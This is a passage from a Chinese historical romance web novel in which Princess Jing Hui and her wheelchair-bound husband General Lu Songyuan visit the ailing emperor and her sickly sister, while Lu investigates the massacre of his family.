马车缓缓离去,那日在陆颂渊书房外的小婢女拉着另一个人说道:“那日阿鱼姐姐说陆将军不举,可这看着也不像啊……”
那人问:“为何不像?”
小婢女道:“我曾经在宫中伺候过主子,那……之后娘娘们多累腰,公主今日这不就扶着腰呢。”
“可是昨夜并未听见叫水声啊。”那人不解。
“许是我们没听见,反正我看着将军应当……”
“应当什么?”
“很行!”
“我觉得也是!”
两人互相对视一眼,红了个大脸,“不不不准说了,快去干活了,被人听见要掉脑袋的。”
“好,走了。”
二人这厢跑走后,陆青越背着手慢悠悠从门后走出来。
他看着二人背影,问身旁的陆昼雪道:“我这个助将军重振雄风的主意怎么样?”
陆昼雪往旁边挪一步,“你不怕公主知道后杀了你。”
“公主不会知道。”
陆青越理所当然,“抱公主一夜的人又不是我,跟我有什么关系。再说了,我看将军这个样子,日后怕是真的要在公主面前证明一下。啧,就是不知道公主同不同意。”
“无聊。”
他絮絮叨叨个没完,陆昼雪满脸不耐地抬步向外走去,说道:“赶紧跟上。”
“是——”
陆青越拖着长音,“阿姐。”
-
马车一路不停,缓缓驶进皇宫,到了养心殿前,二人一同下马车,走进去拜见景文帝。
今日养心殿十分通透,日头顺着窗户缝隙照在屋中,衬得坐在桌边的景文帝气色都好了不少。
景回笑笑,“儿臣参见父皇,父皇万安。”
“臣参见陛下,陛下万安。”
景文帝大病初愈,面上看着再如何,内里还是虚弱的,且听他说话便能听出来。
景回有数日没见过景文帝,陆颂渊更甚有几月了。
“起吧,阿珠快过来,让父皇看看。”
景回走过去俯身让景文帝摸她的头,她桃花眸子弯弯,“父皇看上去好了不少,身子可还有不适?”
“你四哥前些日子去江北,给朕寻来了一个游医,游医开的方子和太医院的太医不同,吃下几副药便好多了。”
景文帝眼中遗憾满满,“没能去成阿珠的婚事,父皇心有遗憾。”
景回忽然热泪上涌,她眨眨眼压下去,“不遗憾,父皇疼阿珠,我都知道。”
景文帝拍了拍景回的头,“深山爆炸之时,你还亲自去了,受的伤那么严重,现下可好了?那几日父皇总是做梦,梦见你母后,若你有什么事,父皇日后如何面对你母后。”
“已经大好了,父皇不必担心。”景回眼眶一热,说道:“如今儿臣身边有人时常护着呢,父皇真的不必忧心。”
说罢,景回看向陆颂渊。
景文帝也随
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着她的视线,看向她身后默默坐在轮椅上的陆颂渊。
“那日深山火药爆炸,连老来跟朕禀报,是你的人及时发现,阻止了更大的爆炸。”
景文帝眼睛如鹰隼般锋利,问出和景回一样的疑问:“缘何你的人会在深山附近?”
陆颂渊垂下眼帘,恭敬地说道:“回陛下,青越和昼雪不曾来过上京,前几日昼雪说想吃边城的糯米团子,青越便趁空闲之时去买给她。”
“嗯?”
陆颂渊这般说,景文帝和景回对视一眼,景文帝问道:“这般,你的人可有受伤?”
“谢陛下关怀,并未受伤。”
景文帝点点头,说道:“此次你及时阻止国库损失,又拼命救了朕的阿珠,朕要重赏你,你可有什么心爱之物吗?”
陆颂渊立刻行礼,面上受宠若惊,“不敢!臣所做都是分内之事,不敢邀功。”
他说着看了景回一眼,说道:“臣还是那句话,陛下肯让臣陪在公主身边,保护公主无恙,便是陛下对臣最大的恩赐了。”
他说完后,殿内有一瞬间的安静。
从前景回总觉得陆颂渊百般靠近定是有目的,这几日过后,再听他这般说,倒是觉得有一丝可信了。
景回轻声哼了哼。
景文帝看见景回的模样,忽而朗声笑了笑,说道:“按照祖宗礼制,你二人成婚后,阿珠应当跟着你回北境。但前些日子之事过后,朕还想让阿珠多陪在朕身边几年,你便陪着她一同留在京城几年吧,顺便养养你腿上的伤。另,依照你的战功,早就可以封侯拜相,但现下你身子不便折腾,便先在朝中挂职,做朕的禁军统领吧。”
这等职位虽是不高,但所做皆是围绕皇帝。只要能时常出入皇宫这些人身边,陆颂渊乐得做。
陆颂渊对此求之不得,他状若思考片刻后,说道:“臣谨遵陛下旨意,只是北境若有战事,还请陛下准臣回去。”
景文帝深深看了陆颂渊一眼,点头道:“朕有爱卿,乃之大幸。”
“陛下谬赞。”
众人各自心想事成,景回眼神在二人之间看了看,问道:“父皇可派人查过深山之事?”
“查过。”
景文帝收回目光,毫不吝啬的从另一边的匣子中拿出几张证词递给景回,“阿珠看看。”
景回拿过来翻开,指尖上面写的与他们得到的证词基本一致,可见这群驼风人要么便是说的实话,要么便是身后之人太过厉害。
“死局。”
景回放下证词,“但终可破。”
景文帝看着她认真的模样,说道:“说得不错。阿珠,此事朕还是交给你,年前给朕查清楚。”
景回领命:“是!”
景文帝看了陆颂渊一眼,对景回说道:“虽然成婚了,但功课不可荒废。阿珠,你懂朕的意思吗?”
那些皇子心中所想,景文帝和景回最是清楚,现下景文帝这般说,景回自然清楚,她起身行礼道:“儿臣明白,儿臣遵旨。”
不论景文帝日后如何打算,景回现下应下,便是绝不会辜负景文帝多年的看重。
“纵有千万奇人,都不及朕的阿珠万分之一。”
成婚之后,景回自认为已经长大了,现下听见这般的夸奖,有些不好意思,“父皇!”
景文帝哈哈大笑,陆颂渊看着远处玩笑的二人,安了大心。
还不到午膳时辰,景回坐去一旁,景文帝忽然问陆颂渊道:“上次朕精力不济,并未来及问你,驼风人所说的塔干,是何物啊?”
景回看向陆颂渊,陆颂渊摇摇头道:“回陛下,臣不知塔干为何物,更不知那人为何那般污蔑臣。至于他口中兵力,更是无稽之谈。”
他说的掷地有声,景文帝都愣了下。
“咳咳咳。”
景文帝的咳嗽声震天响,景回连忙上前伺候他喝了些水,“阿珠,坐吧。”
“是。”
景回坐去一旁。
“此次深山爆炸,是你的人及时发现,乃是大功一件,岂能无赏。”
景文帝对陆颂渊说道:“晚间离宫之时,朕会亲自命人去库中挑些好东西赏。”
“是,臣遵旨,多谢陛下。”
这厢三人说完,便到了午膳时辰,众妃子也来了。众人一同前去宴厅,一顿不远不近的皇家午膳用完,今日的回门宴便算结束了。
景回和陆颂渊跟景文帝回到养心殿说了会儿话后,景回说道:“父皇,儿臣想去看看阿姐。”
景文帝方才晴天的脸骤然转阴,“那个混账,看她作甚!”
15. 待改
景回口中的阿姐是五公主景宁。
景宁的生母乃是太后宫中的一个小宫女,那小宫女胆大包天,趁着宫宴景文帝醉倒,从恩慈宫一路跟着景文帝的车架到养心殿,又趁机混进养心殿,不仅假传圣旨,将当晚侍寝的娘娘赶走,还亲自顶替了去。
景文帝醒来之后不记得她是如何出现在床上的,本想给个名分了事,哪知事情过去不过两月,当日被赶走的娘娘反应过来后,苦恼到景文帝面前。
景文帝对此大发雷霆,自己岂不是被这个小宫女玩弄于股掌之中,刚想下旨处死,那宫女便干呕不止,有经验之人一见,便说这是怀了龙种的征兆。
叫来太医一把脉,果真是怀了。
这宫女命好,侍寝第一夜便怀上了孩子。
景文帝还是怒不可遏,当时他膝下子女不多,又逢皇后刚怀上景回,还是想将人处死。
皇后这是站了出来,说稚子无辜,请皇帝放过这宫女腹中孩儿,就当给景回积德。
景文帝立刻便应下了,留了这宫女的命直到诞下景宁,才将人彻底处死。
景宁出生以后,因着是公主的缘故,本来想抱养她的妃嫔纷纷散去,最终还是皇后命人将其抱到中宫,准备待景回落地留她做玩伴。
这些年过去,二人所受教养几乎相同,却是逐渐长成了不同的性子。
景回聪明伶俐,早年便深入朝堂,受帝师教导,逐渐长成皇子都不可及的模样。而景宁却是个野了心的,幼时便跟在侍卫身后学武功,大字不识一个,长大后,便开始学着她娘的做派,偷偷出宫找民间的武师傅学武。
景文帝大怒,多次脱口而出不要这个女儿了,都是皇后劝诫,后来皇后还劝景文帝给景宁找个正经的武师傅。
景宁有了武师傅之后,武艺越发高强,恰逢景回长成,景文帝有心放景回出宫历练,多次交给她宫外之事,这时景宁的武艺便派上了用场。
景宁心中记挂皇后和景回的大恩,她跟在景回身边,多次与她一同出入危险之地,自己或轻或重都有伤处,但却从来未让景回受过什么伤。
然而天有不测,去岁有一次景回抓贪官,有一重要证据落在火场之中,景宁将景回救出之后,又返回火场拿证据。
景回劝她莫去,景宁不听,在火场之中中了暗中射来的毒箭,景回扶着她逃命,二人险些都丧了命。
回宫之后,景文帝又发了大怒,派了太医过去之后,好不容易救回景宁的命,但她伤了根子,常年缠绵病榻。
景文帝以此为由,将景宁软禁在宫殿之中,景回视景宁为至亲,时常离不开景宁,景文帝虽允许景回去看,但次数绝不能多。
近来因着婚嫁景回要离宫,看景宁的次数太过多,景文帝十分不满,但不满也不能朝着景回发,这便在养心殿骂了景宁一句。
“令姐身世真是坎坷。”
景回和陆颂渊走在前去景宁宫殿的宫道上,陆颂渊听完景回所讲,忽而叹了句。
“我阿姐是世上除了父皇母后之外待我最好的人,她受伤也是为了我。”
景回衣袖被风吹起,每每走过来她都心情复杂,“若非父皇不让,我必是要亲自将阿姐带在身边的。”
景回虽看上去花团锦簇,周围宠爱不断,事实上这些事她无人可说。现下跟陆颂渊说了后,本也不想让他回什么的,却不料陆颂渊说道:“将军府地方大的很。”
景回呼吸一窒,转头看向陆颂渊。
陆颂渊端坐轮椅,眼神直直看着前方。
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景回笑了下,“哼。”
二人一路走到景宁所在的莲玉殿,景回抬步走上去,刚想看看陆颂渊从何处上来轻松些,便听他说道:“殿下进去,晚点我来找你。”
景回一愣,“你去何处?”
“陛下许了我禁军统领,我去禁卫所在之处看看。”
景回点点头,“好。”
一路走进莲玉殿,殿内秋日里便熏了火笼,烘的似是夏日一般,殿中的花儿蔫蔫的,景回扶了下门口歪倒的花,跨近殿中大喊:“阿姐!”
景宁伤了耳朵,最早时什么都听不清了,现下逐渐恢复,倒是能听见不少,景宁不喜殿中人多,是以偌大一个莲玉殿,只留下了两个会武功的婢女。
“奴婢叩见公主殿下,殿下万安。”
“起来吧。”
景回站在殿中,看着被重重帷帐遮挡的床,说道:“我阿姐还没醒?”
婢女回身看了眼床的位置,摇摇头道:“是,公主昨日睡得晚了些,今晨又有人前来寻公主,公主耗费了不少精力应付他们,这厢刚睡下。”
景回皱皱眉,刚想问是谁,床上便传来轻唤声。
“阿珠。”
景宁的嗓音常年嘶哑,“是你吗?”
“是我。”
景回快步走进殿内,掀开帷帐坐在床上,看着景宁干裂的白唇,她伸手拿过一旁的杯子,递在景宁唇边。
“阿姐,喝点水。”
景宁咳嗽了两声,用力吞咽着喝了两口水,随后重重倒在枕头上,看着景回。
自从手上之后,景宁的眼神总是空洞的,她问道:“阿珠,最近可好?”
“好。”
景回笑笑,问景宁,“阿姐,今晨谁来过?”
16. 樱唇。
景宁对见陆颂渊这件事无甚兴趣,她微不可察地皱了皱眉。
“你想让阿姐见他,便让他进来吧。”
若陆颂渊是心上人,景回自是会欢天喜地让他进来。
毕竟带心上人见亲人这件事,怎么想都很令人兴奋。
偏他不是。
景宁还不知晓御花园那一箭的事,若是知道了,恐怕拼着命也得下床去砍陆颂渊。
想起此事,景回疑惑了下。
景傲将她在深山之事跟景宁说了,却并未说御花园之事,也是稀奇。
不过景傲的猪脑子想一出是一出,人是没办法理解猪的想法的。
说着话不觉时辰过得快,不知不觉竟已到了黄昏。
“日后有空再见吧。”
景回把景宁的手放回被子里,说道:“阿姐今日定是累了,早些歇息吧。”
景宁点点头。
“那我先回府啦,下次再来看阿姐。”
景回站起身说道:“阿姐要记得我说的话。”
景宁笑,“好。”
她说完后,景回抬步往外走去,临出寝殿之时,景宁忽然又将她叫住了。
“阿珠。”
“嗯?”
景回转身,门外晚霞跃进来,披在她肩上,照的她每根发丝都在发光。
“怎么啦?”
景宁被她晃到了眼,“最近真的没有遇上难事吧?”
景回佯装思考,“真的没有呀。”
“好。”
景宁道:“早些回去吧,天凉,多穿衣。”
“好。”
景回走出殿,迈过门槛之时,看见陆颂渊和陆青越正等在院中。
她越想越不对劲,问一旁相送的婢女道:“你可听见景傲跟我阿姐说什么了?”
婢女道:“二皇子不让屋中留人,奴婢却也不敢走远,隐约听见是在说殿下您受伤之事。二皇子走后,公主难过了许久。”
景回叹了口气,面上起了层薄怒,“明日我拨两人来伺候阿姐,若是再有不长眼的来阿姐面前叨扰,你便拦住,让她们去将军府找我。”
“是,奴婢谨遵公主殿下令。”
一行人走出莲玉殿,景回遣人去跟景文帝打招呼后,便往宫外走去。
路上,景回并无来时那般雀跃,安静的连陆颂渊都有些不适。
他瞥了景回几眼,问道:“可是出什么事了?”
景回本在想事情,闻言下意识说道:“无事。”
她回答的太快,二人都愣了愣。
身旁有拎着食盒经过的宫女请安,景回闻见饭香,说道:“我就是饿了。”
陆颂渊收回目光,“府中备好晚膳了。”
“好。”
二人这厢话音刚落,前方便是宫门口,远远有一人朝着这边走来了。
“皇妹要回去了吗?不留下来用膳?”
来人相貌俊朗,身形修长,青灰色金丝箭袖装显得气质清淡儒雅。
他嘴唇饱满有型,显得人敦厚,而那双眼却是锐利上扬的丹凤眼。
身后下人空手,他却背着一半人高的羊皮画筒,走来景回面前。
此人便是四皇子景琰。
“四皇兄。”
景回与他打过招呼,说道:“午膳用过了。”
宫中这些皇子在景回这里就被粗暴的分为两种,厌恶和无感。
大约是因为景琰此人不仅看上去风光霁月,还心思纯净,为人坦率,只醉心书画,不近女色,且十分孝顺景文帝。
是以景琰在景回这里是少见的略有好感。
“这般,我今日出宫寻画师拿画,回来得晚了。”
景琰看了眼陆颂渊,问二人道:“那夜听说皇妹和陆将军遇上刺客受了重伤,现下可好了?”
景回道:“大好了,多谢皇兄关心。”
“好。”
景琰说道:“父皇病重后,我时常伺候在前,常听他昏迷之时念叨你的名字。皇妹纵是成婚了,日后有空也要多回宫看看,免得父皇忧思过重,病情加重。”
陆颂渊挑挑眉,看向景回。
景回心中还有惦记着景宁的不对,面上略带敷衍,说道:“好,辛苦皇兄了。”
“不辛苦,左右宫中这些人,就我闲。”
景琰看了眼天色,后退一步让开路,说道:“天色不早了,快些回去吧。”
“好。”
到将军府时,圆月已经挂在了头顶。
景回下马车先一步走近府中,沉默的和陆颂渊一同用过膳后,景回去了趟书房。
她与陆颂渊的书房乃是分开的,分座在后院两边,对着门。
见书房内无甚重要之事,便去净室洗漱过后,早早躺在了床上,开始想景宁。
从小到大,景回遇事向来是直接做,直接问,但偏偏在景宁这里,这两样都行不通。
自从病重之后,从前大大咧咧的景宁便变得心思敏感,容易胡思乱想,有事她也不会直接与景回说了,多数需得景回猜。
便如今日,景回深觉景傲与景宁所说,并非只是她受伤了这件事这么简单。
想了许久,景回也没个头绪,她抱着被子往里滚了一圈后,又往外滚。
膝盖碰到了一硬物,景回下意识伸脚就踢。
还未踢到什么,脚腕便被握住了。
“你什么时候上来的?”
掌心粗粝,不是陆颂渊是谁。
“许久之前,见殿下深思,不敢打扰。”
陆颂渊见景回脚不动了,才松开手。
松手之前,他鬼使神差地在景回脚心蹭了下,惹得景回惊叫。
“陆颂渊!”
景回小腿都麻了下,她快速收回脚,踹在陆颂渊腰上,“你大胆。”
陆颂渊愣了下。
昏暗的帐中,方才摸过景回的手放在身侧无意识摩擦着,他偏头看向一旁,“成婚之后,这些话我可是听过无数遍了。”
“哼!”
景回又踹了陆颂渊一脚,才躺下,“你活该。”
若非已经成婚,方才他那个样子,便是轻薄。
陆颂渊掐了下指尖,看了头顶帐子,问景回,“殿下可是遇上什么难事了?”
景回面朝里,“无事。”
帐内安静下来,将要睡着之时,景回想起床上只有一床被子。
天儿越来越冷,不盖被子指定会着凉,她迷迷糊糊将身上被子往后匀,分了一半盖在陆颂渊身上。
待景回调整好被子险些沉入梦乡之时,身后有人欺身抱了上来。
又是那般胳膊横在腰下,十分硌人的姿势。
景回简直怒了,她闭着眼在陆颂渊怀中转了个圈,面对他,“松手,不要这样抱。”
陆颂渊不松,还是只动了动景回身下的胳膊,另一只手则搂了下景回,掌心落在了她背上。
景回一下就不动了,嘴硬道:“别抱我。”
陆颂渊眸色比夜空还暗,哑声说道:“怕你夜间滚下去,快睡吧。”
有他挡着,不抱也滚不下去。
景回懒得与他争辩,反正他身上热热的,抱着还能防止着凉。
“你不准动。”
“嗯。”
怀中呼吸声渐缓,似抱着一朵泡在温水中的茉莉花。
陆颂渊低头看向景回。
月光下,景回的面庞似是笼上了一层亮晶晶的薄纱,她挺翘的鼻尖轻轻翕动,樱唇泛着水光,欲待采撷。
陆颂渊滚了滚喉结,盯着那处缓缓靠近,待景回的呼吸打在他的脸上,他猛得顿住了身子。
只差半寸。
陆颂渊狠狠闭了下眼,松开抱住景回的手,向后躺去。
他胸膛急促地起伏了几下,待一切平息,才睡了过去。
放在景回腰下的手倒是一直没松。
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隔日,景回揉着腰醒来。
再隔日,景回又揉着腰醒来。
一连几日,景回都是揉着腰醒来。
虽然并不疼,但是这腰侧实在不舒服。
阿鱼站在床边,紧张地看着景回,“公主,您还好吗?”
“好,好个鬼!”
景回咬着牙,“今夜给我把陆颂渊拦在门外,不准他进来!”
“是!”
阿鱼看着景回的神情,嗫嚅半晌,到底没说近来府中的流言。
景回洗漱过完,用过早膳,便起身往书房走去。
除了每月一次的大朝会,平日里景回并不上朝,只看折子及偶尔见大臣。
折子每日除了送到皇宫,便是送到她和丞相府中,一日不看便会堆积如山。
踏出屋门,迎面便感觉到一股冷风。院中树上的叶子黄了大半,北风吹着打着旋儿落在地上,又被下人们扫走。
叶落知秋,景回不喜欢这样萧瑟的季节。
府中不见陆颂渊,景回紧了紧披风,顺口问道:“他人呢?”
“不知,将军这几日都早早就出门了。”
阿鱼跟在景回身后一同往后院走去。
“嗯。”
景回应了声,想了想道:“找几个人跟在他身边,有事随时来报。”
“是。”
绕过廊下,将到书房门前时,有两个端着茶,背对着二人不知说什么。
走得近了,景回听见其中一人说道:“我就说吧,那么多人亲眼所见,可见就是真的。”
“就是。”
另一人应和,“听说从前坐在锦绣宫中时,公主虽然不上朝,但从来没有荒废过课业。如今成婚后,这已经四五日了,公主来书房的时辰一次比一次晚。”
“可见……”
“将军没有不举。”
“而且很行!”
“嗯!”
阿鱼嘴角抽搐,听完后,她转头看向景回。
果不其然,景回红唇扬起,眼中散着寒光,是要发飙的征兆。
阿鱼赶忙走上前去,呵斥道:“胡说什么呢!”
二人看见景回,吓了一哆嗦,连忙跪地请罪,“公主殿下恕罪!”
好熟悉的话。
好熟悉的场景。
景回被气笑了。
她道:“你们俩给我站到陆颂渊书房门口,重复方才说的话一百遍,待陆颂渊回来后,跟他身后,说够一千遍。”
“是,是!”
那二人道:“多谢公主饶命。”
睚眦必报,小人作为!
景回坐在书桌前,怒气冲冲地喝了杯茶,咣当一声把茶杯放下。
阿鱼上前倒了杯茶,放在景回手边,说道:“殿下息怒,正事要紧。”
才没空陪他总这么胡闹,景回胸膛起伏几下,说道:“宫中有何事?”
阿鱼说道:“宫中传来消息,陛下昨夜又昏了过去,今晨的早朝是太后上的。”
景回放下茶碗,长叹了口气。
她摸着桌上的折子,吩咐道:“连珠应当已经在回京路上了,你让阿颜派几人去找他,问问他可知道南疆神医在何处,看看能不能寻到。”
“是。”
说完后,景回便开始看折子,翻看几个无关紧要的请安折子后,她伸手去拿茶碗。
茶碗明明就在桌上,景回几次没摸到,转头看去之时,一声清脆的响声传来。
茶碗碎了。
“公主。”
阿鱼本在一旁磨墨,闻声赶忙上前,“您可有受伤?”
“无事。”
景回看着那碎裂的茶碗,心中顿时有股不好的预感,她问到:“阿姐那处可有消息传来?”
“并无……”
阿鱼话音未落,门外阿颜匆匆走了进来。
她面色焦急,跪在景回面前说道:“殿下,莲玉宫出事了。”
17. 吐血。
阿颜自来稳重,能让她急匆匆的定然不是小事。
景回连忙问道:“出什么事了?”
“我们的人传出消息,说不久前二皇子去了莲玉宫,不知她又跟五公主说了什么,五公主方才吐血昏倒了!”
“什么!”
景回拍桌起身,大步往外走去,“传太医了吗?备马车,本宫要进宫!”
“是!”
景回匆匆走出书房,走过廊下之时,正巧与从外归来的陆颂渊撞上了。
陆青越和陆昼雪一同推着陆颂渊,他们身后还跟着一头戴纶巾,书生模样的中年人。
见到景回后,众人行礼道:“参见公主,公主万安。”
“嗯。”
景回着急出门,眼神在众人脸上划过,并未多说什么便走了。
一行人留在原地看着她的背影,陆青越说道:“少见公主如此失态的模样啊。”
陆颂渊从景回翻飞的发丝上收回目光,说道:“推我进去。”
“是。”
刚走到书房门口,那两个婢女便跟念经文一般,开始念叨。
众人怔在原地,陆颂渊倒是面色如常,他唤道:“青越。”
“啊?”
陆青越道:“是。”
陆昼雪推着陆颂渊走进书房,给二人上满了茶后关上了门。
陆青越则把门口那两个“学话鹦鹉”带去一旁,廊下总算安静了下来。
陆颂渊将手边茶往前推了推,袁威微微起身接过。
饮了口茶后,他看了看窗外,笑说:“这将军府,还真是热闹得很呐。”
陆颂渊也随着他的目光看去,正巧看见陆青越在教训那两个婢女,他淡道:“公主还小,闹腾些无妨。”
袁威也是见过这小公主在御书房发作大臣的,什么刑罚她眼睛都不带眨一下。
闻言袁威愣了愣,心道恐怕这世上只有陛下和陆颂渊这般觉得了。
陆颂渊不欲与他多说景回,问道:“你晨起来信说查到了陆家当年被灭门的消息?”
“是。”
袁威正色,从怀中拿出一张陈旧的黄纸,他轻轻展开,放在陆颂渊面前说道:“将军看看。”
陆颂渊伸手拉到面前,看见上书内容,他抬头问道:“调令?”
“是。”
袁威说道:“此为当朝尚书令,徐腾远上任之时的调令。”
陆颂渊眉头蹙起。
朝中那些人的名单,他前日才拿到,依稀记得这尚书令在景文帝跟前任要职,却并不得景文帝喜爱。
“这与陆家有何关系?”
袁威看着他的神情,缓声解释道:“徐腾远并非土生土长的上京中人,他祖籍在堂满。”
“他也是堂满人?”
陆颂渊抬眸问道。
“是。”
袁威道:“当年,太后和陛下北上堂满微服私访,途中遇上刺客,太后曾被徐腾远的女儿所救,此女便是现下宫中的悦嫔娘娘。”
陆颂渊皱眉道:“二皇子的生母?”
“是。”
袁威说道:“当年悦嫔入宫之后,陛下便将徐腾远提拔成堂满别驾,当时的州牧正是您的父亲,陆庭。”
陆颂渊抿唇,“而后呢?”
“而后又过十年,陛下再次北上堂满寻访,陆州牧不知受了何等刺激,竟在大庭广众之下挑衅陛下。陆州牧当时在堂满的势力可谓是只手遮天,陛下怒极也只是罚了半年俸禄。”
袁威说道:“而后又过一年,陆家被灭门。”
“你是说?”
陆颂渊低头看向那份调令。
“老臣只是猜测。”
袁威说道:“来此之前,我已找人问过,徐腾远上任尚书令时,距离陆家灭门仅仅三月。”
三月,完全够将证据销毁,粉饰一切太平。
多处巧合便不是巧合。
果真与皇家人有关。
陆颂渊眸色黯沉,“徐腾远曾做过别驾,可是武将出身?”
“是。”
袁威说道:“尚书令早年来上京时,常将儿子带在身边,有人问起,他说要亲授儿子武功。”
“他有儿子?”
“有一儿一女。”
袁威想了想说道:“说来奇怪,众人都知尚书令疼儿子,但多年前有一日,他儿子忽然离开了上京,不知去向。”
陆颂渊对他的家事不感兴趣,他放下手中调令,面色阴沉地唤了陆青越进来,当着袁威的面儿,吩咐陆青越去查调令的真伪。
并让他找人去堂满,查当年之事。
陆青越走后,陆颂渊看向袁威。
“你查这些查了多久?”
“从陆家被灭门开始。”
十多年了。
上次袁威来过府中之后,陆颂渊便派人暗中调查过他,深知他所说皆为真,但不知道为何,陆颂渊就是不愿告诉袁威更多。
“将军和公主上次遇袭,受的伤可养好了?”
正事说完,袁威喝了口茶后,问陆颂渊:“不知日前去宫中,将军可如愿以偿了?”
“嗯。”
陆颂渊靠在轮椅上,说道:“景文帝许我留在京城一段日子,够查了。”
“那便好。”
袁威想起什么,说道:“对了,方才将军提起习武之事,老臣才想起来,尚书令之子离开上京之后,尚书令将他的武师傅们都送到了二皇子府中,教二皇子习武。”
陆颂渊想起二皇子的模样,不由的轻嗤一声,“是吗?”
袁威也跟着笑笑,他说道:“将军只见二皇子身体肥壮,不像练武之人,却不知他有一最擅长之处。”
陆颂渊随口问:“什么?”
“射箭。”
陆颂渊一愣,“射箭?”
“是,尚书令的儿子就是一等一的射箭高手,二皇子在他的武师傅教习下,偏对射箭感兴趣,每每秋猎也是所猎最多的。”
袁威看着陆颂渊的神情,问道:“可是有何不对?”
“陆家的门,便是由一只百里之外射来的离火箭破开的。”陆颂渊沉声说道。
他的母亲,他的腿,都是为箭所伤。
“可关于陆家被灭门的传闻……”
袁威顿了下,登时坐直了身子,“十多年前,尚书令的儿子便已经十多岁了。老臣这便派人埋去二皇子府中。”
“不必。”
从他回京开始,各皇子递来的橄榄枝可不少,陆颂渊一个还未见。
他道:“我亲自去。”
袁威沉默片刻,并未应他,只拱了拱手。
“将军万事小心。”
树开两杈,景回这厢去了皇宫,进了莲玉殿后,看见景宁嘴角带血,还昏迷着的模样,立时就上了火。
她恨不能把扒了景傲的皮。
在阿鱼和阿颜的阻拦下,景回忍着怒火坐在窗边榻上,等着太医看诊。
围在床前的太医碍于她的皇威,看起病来战战兢兢,屋内气氛阴沉,就在景回快沉不住气时,床上传来了景宁的咳嗽声。
那咳声中气不足,虚气余长,中间几声咳甚至都没声,紧接着,景宁吐了口血。
“阿姐!”
景回连忙走过去坐在景宁身后,拍着她的胸口,问太医:“为何还会吐血!”
为首的乃是太医院院判,他捏着景宁的脉说道:“殿下稍安,五公主把这口窝心血吐出来后便无事了。”
话音刚落,景宁悠悠转醒,景回连忙唤道:“阿姐,可好些了?”
听见景回的声音,景宁一把抓住了她的手,攥的紧紧的,景回皱皱眉,唤:“阿姐?”
“嗯。”
太医松开了景宁的手腕,说道:“五公主怒急攻心,胸口有口血倒流了,现下吐出来,喝几副药,便能大好。”
院判的医术还是可信的,景回说道:“好,多谢太医。”
“臣等告退。”
屋中众人退去,阿鱼和景宁的两个婢女上前为她更衣洗漱,过程中景宁一下景回的手都没松过。
待收拾完后,已经夜深,该用晚膳了。
景宁不松手,景回便亲自喂她用膳,吃过东西后,景宁总算开口说话了。
“阿珠,今夜留下陪陪阿姐,好不好?”
景回擦手的帕子顿了顿,几乎没有犹豫,她点头应下后,转头纷纷阿鱼道:“去报给太后。”
阿鱼转身向外走去:“是。”
景回想了想,还是补了句,“再派人去趟将军府,知会陆颂渊一声。”
“是。”
这夜,两人像小时候那般,躺在床上盖着同一床被子。
景回问景宁景傲来此说了什么,景宁一副不想说的模样,景回便收了声,转而说了些小时候的趣事,逗得景宁咯咯笑。
临到睡前,景宁像幼时皇后哄景宁睡觉般抱着她,拍着她的背。
阿姐的怀抱香香软软的,跟陆颂渊那股要勒死人的劲儿大不相同,景回在景宁怀中调整了舒服的姿势,鼻尖轻动哼了声。
想他做什么,才不想他。
这日之后,景回在莲玉宫一连陪了景宁五日,虽然什么都没问出来,但好歹将她的身子养回来不少。
五
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日间,她在莲玉宫陪完景宁,便去养心殿陪昏睡的景文帝。
这日午后,景回和景宁一同用完午膳后,便准备出宫回府。
她已经出嫁,多日不回府,待在宫中,多少有点于理不合。
跟景宁说过后,景宁面露不舍,强颜欢笑似的点头道:“好,路上小心。”
景回道:“阿姐,下次景傲再来,我直接让人把他拦在门外,定不会再让他进来打扰你。”
景宁应道:“好。”
景回心中忽而难过,她又陪着景宁说了好一会儿的话,才转身离去。
走出宫,阿鱼看着景回眼下的那层薄薄的乌青,说道:“公主,方才府中来信,说马车在宫门外等着了。这几日您累得很,咱们快些回去休息吧。”
面对敏感的病人,更多是心累。
“无妨。”
景回眼中燃着小火苗,“去趟景傲宫中。”
“啊?”
皇子和公主的宫殿分座在皇宫两边,皇子都在东边,公主则在西边。
穿过御花园,再行不远,便到了景傲的宫殿。
还未踏进宫门,景回便闻到一股子甜的腻人的香气。
景傲就爱熏这种腻死人的香。
景回皱皱鼻子,大步走进去,站在院中喊道:“景傲,给本公主滚出来!”
宫中下人们不敢拦,跪在景回身边,低着头不敢说话。
“有胆子做没胆子认。”
景回道:“你能躲本公主到什么时候!”
“哎呦,我的公主殿下,怎么劳动您大驾呐。”
正殿跑出来一个人,是景傲的贴身太监祥来。
祥来随主子,跑起来浑身肥肉一颠一颠的,他颠到景回面前,说道:“老奴参见公主殿下。”
对景傲身边的人,景回向来不客气,“少废话,让景傲给本公主滚出来。”
祥来一脸为难,“殿下他早早就出宫去了,真不在宫里啊,公主若是不信,尽管进去搜。”
“本公主嫌他脏。”
景回嫌弃地说:“不在便罢,你且转告他,我阿姐的事,本公主跟他没完。”
“是,是。”
“哼。”
这地方景回真是一刻都不想多待,她转身往外走时,恰好碰见尚衣局的人来给景傲送新做好的衣裳。
景回仅瞥了一眼,便知道这布料是南疆来的,一年送来的能做这么一身衣裳便不错了。
“站住。”
景回叫住几人,对身后的祥来说:“给本公主拿把剪子来。”
“这……”
祥来为难,却不敢不从,“是。”
剪子到了景回手里,她拎起托盘上的衣裳,一剪刀就扎了下去。
“公主!公主手下留情啊!”
祥来在一侧哀求着,“哎呦,可就这么一件宝贝啊!”
“闭嘴!再喊扎你嗓子里。”
景回将那件衣裳剪了稀碎,剪刀随手仍在托盘上,瞥了眼祥来说道:“扔去景傲床上。”
出了景傲宫中,景回心情好了不少,她晃了晃脖子,“走了,回家。”
“是。”
二人一同走到宫门口,景回远远便看见了将军府的马车,及站在马车边的陆青越。
“参见公主殿下。”
景回点点头,“嗯。”
临近冬日,马车装上了稍厚点的车帘,陆青越拉起车帘,车内忽然传出一股景傲爱熏的甜香的腻味儿。
车内还坐着一个人。
“公主请上马车。”
景回弯腰坐进去,她瞥了眼端坐在轮椅上的陆颂渊,愈发感觉那香味儿是从陆颂渊身上传来的。
“殿下。”
陆颂渊倒了杯茶推在景回面前,还将桌上的黄油纸包也往景回跟前推了推。
景回视线被吸引,“这是什么?”
“来时街边买的糖葫芦。”
景回伸手打开油纸包,红彤彤的糖葫芦各个饱满,外头裹着的糖霜看上去甚是诱人。
她许久未吃过这个,感觉口中口水都泛滥了。
“多谢。”
景回拿起糖葫芦咬了一口,问道:“为何给我买这个?”
陆颂渊说不上来。
他在马车上等着陆青越办事时,正巧看见几个小孩缠着他们爹娘买,是以他也顺手买了一串。
“臣觉得公主或许爱吃。”
“哼。”
